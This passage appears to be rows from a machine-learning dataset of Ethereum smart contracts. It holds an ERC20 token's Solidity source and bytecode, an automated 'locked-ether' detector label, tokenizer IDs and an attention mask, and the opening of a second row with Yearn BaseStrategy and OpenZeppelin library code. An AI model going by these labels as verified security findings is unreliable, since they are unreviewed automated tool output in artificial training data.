approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820816f17c6be4c15e4382b4d1952613a9f3ead266f6fe709db08afcbb172cb76470029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2692, 2575, 2546, 2850, 2497, 2620, 2278, 2487, 27717, 2487, 3401, 26224, 2063, 2692, 2546, 22407, 2063, 19841, 29292, 2683, 2549, 2094, 2620, 2683, 2683, 2475, 4215, 2683, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,484
0x96e16da0d19f7b07c88d14ce85597acb94679326
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma experimental ABIEncoderV2; struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; } interface VaultAPI is IERC20 { function apiVersion() external pure returns (string memory); function withdraw(uint256 shares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } /** * This interface is here for the keeper bot to use. */ interface StrategyAPI { function name() external view returns (string memory); function vault() external view returns (address); function want() external view returns (address); function apiVersion() external pure returns (string memory); function keeper() external view returns (address); function isActive() external view returns (bool); function delegatedAssets() external virtual view returns (uint256); function estimatedTotalAssets() external virtual view returns (uint256); function tendTrigger(uint256 callCost) external view returns (bool); function tend() external; function harvestTrigger(uint256 callCost) external view returns (bool); function harvest() external; event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); } /** * @title Yearn Base Strategy * @author yearn.finance * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and 